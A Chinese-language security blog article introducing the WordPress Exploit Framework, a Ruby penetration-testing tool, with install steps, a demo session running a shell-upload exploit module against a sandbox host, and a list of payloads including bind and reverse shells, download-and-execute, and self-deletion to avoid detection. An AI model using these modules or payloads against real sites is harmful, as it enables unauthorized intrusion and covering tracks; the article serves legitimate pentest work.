1.png

今天给大家介绍的工具是一款Ruby框架,该框架采用模块化开发,旨在帮助安全研究专家对基于WordPress的网站和系统进行渗透测试工作。

工具下载:【GitHub主页 】

工具运行要求

确保你系统中安装的Ruby版本>=2.2.6,然后在终端命令窗口中切换到WPXF项目所在目录,并运行命令“bundle install”来安装和配置依赖环境。如果你在系统中无法找到bundler的话,你可以通过运行命令“gem install bundler”来安装bundler。

安装过程中可能会遇到的问题

Debian系统

如果你在安装WPXF的依赖环境时出现问题,首先你要确保你的系统中已经安装好了所有用来编译Ruby的C扩展工具:

sudo apt-get install build-essential patch

如果你发现你的系统中缺少重要的开发头文件,那么你可以使用下面这行命令来解决这个问题:

sudo apt-get install ruby-dev zlib1g-dev liblzma-dev

Windows系统

如果系统错误提示“libcurl.dll文件无法被加载”,那么你需要确保你的Ruby/bin文件夹下的libcurl代码是最新版本的,或者检查环境变量的PATH变量中其他的文件夹是否有效。

最新版本代码可以从【这里】下载。下载完成之后,再将bin目录下的内容提取到本机Ruby/bin目录中。

工具的使用

打开一个终端窗口(terminal)并切换到你下载并保存WordPress Exploit Framework的项目目录下,然后通过命令“ruby wpxf.rb”来运行它。

加载成功之后,你将会看到wpxf的命令提示符,你可以在这里使用“search”命令搜索模块或使用“use”命令来加载模块。

当你向环境中加载了一个模块之后,你就可以使用“set”命令来对其进行设置了,或者使用“info”命令查看有关模块的信息。

在下面这个演示样例中,我加载了一个名叫symposium_shell_upload的模块,然后在对模块和Payload进行了配置之后,开始对目标主机实施攻击。

wpxf > use exploit/symposium_shell_upload
 
[+] Loaded module:#<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>  
wpxf [exploit/symposium_shell_upload] > set hostwp-sandbox
 
[+] Set host => wp-sandbox
 
wpxf [exploit/symposium_shell_upload] > set target_uri/wordpress/
 
[+] Set target_uri => /wordpress/
 
wpxf [exploit/symposium_shell_upload] > set payload exec  
[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>  
wpxf [exploit/symposium_shell_upload] > set cmd echo"Hello, world!"  
[+] Set cmd => echo "Hello, world!"  
wpxf [exploit/symposium_shell_upload] > run
 
[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully

如果你想了解WPXF所有支持的控制命令,请参考【这个页面】。

auxiliary模块和exploit模块有什么区别?

auxiliary模块不允许用户直接运行payload,但它可以帮助你从目标主机中提取出相关信息,实现提权,或提供DoS攻击功能。

exploit模块要求用户指定一个针对目标主机的payload,相应的payload随后会在目标主机上运行,它将允许你在目标主机上运行任意代码、提取数据、或建立远程链接(Shell)等等。

工具提供了哪些payload?

1.    bind_php:上传一个脚本,该脚本会绑定一个特殊的端口,并允许WPXF与目标主机建立一个远程Shell。 2.    custom:上传并执行一个自定义PHP脚本。 3.    download_exec:下载并运行一个远程可执行文件。 4.    exec:在远程服务器上运行shell命令,并将输出结果返回给WPXF会话。 5.    reverse_tcp:上传一个脚本,该脚本可以建立一个反向TCP Shell。

上述所有的Payload(除了custom之外)在执行完之后便会将自己删除,以避免自己在目标主机中留下的操作痕迹被检测到。

如何编写我自己的模块和Payload?

如果你想编写自己的模块或payload,请参考【这个页面】。完整的API开发文档可以在【这里】找到。

* 参考来源:github, FB小编Alpha_h4ck编译